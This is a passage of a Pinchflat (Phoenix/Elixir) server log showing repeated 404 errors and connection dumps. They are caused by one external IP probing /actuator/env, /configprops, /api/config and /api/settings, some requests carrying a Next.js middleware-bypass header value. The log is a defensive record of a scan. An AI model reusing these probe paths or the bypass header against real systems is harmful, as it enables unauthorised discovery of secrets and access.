[#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgaKptPJf56gACMfh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36884}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21559.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36884}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21560.0>, params: %{}, path_info: ["configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x- (truncated) 15:40:35.388 [info] GET /actuator/env 15:40:35.388 [debug] QUERY OK source="settings" db=0.0ms idle=327.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.388 [debug] QUERY OK source="settings" db=0.0ms idle=325.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.388 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.389 [error] #PID<0.21562.0> running PinchflatWeb.Endpoint (connection #PID<0.21561.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21562.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAganthsvbsfIACMgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21561.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36888}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21562.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:40:35.391 [info] GET /api/config 15:40:35.391 [debug] QUERY OK source="settings" db=0.0ms idle=328.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.391 [debug] QUERY OK source="settings" db=0.0ms idle=124.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.391 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.392 [error] #PID<0.21564.0> running PinchflatWeb.Endpoint (connection #PID<0.21563.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21564.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgaodwLPsWawACMgh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21563.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21564.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", (truncated) 15:40:35.502 [info] GET /actuator/configprops 15:40:35.502 [debug] QUERY OK source="settings" db=0.1ms idle=235.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.502 [debug] QUERY OK source="settings" db=0.0ms idle=114.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.502 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.503 [info] GET /api/settings 15:40:35.504 [debug] QUERY OK source="settings" db=0.1ms idle=115.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.504 [debug] QUERY OK source="settings" db=0.1ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.504 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.503 [error] #PID<0.21566.0> running PinchflatWeb.Endpoint (connection #PID<0.21565.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21566.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgbC3KWKAiMcABcHi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21566.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_h (truncated) 15:40:35.504 [error] #PID<0.21568.0> running PinchflatWeb.Endpoint (connection #PID<0.21567.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36922}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21568.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, 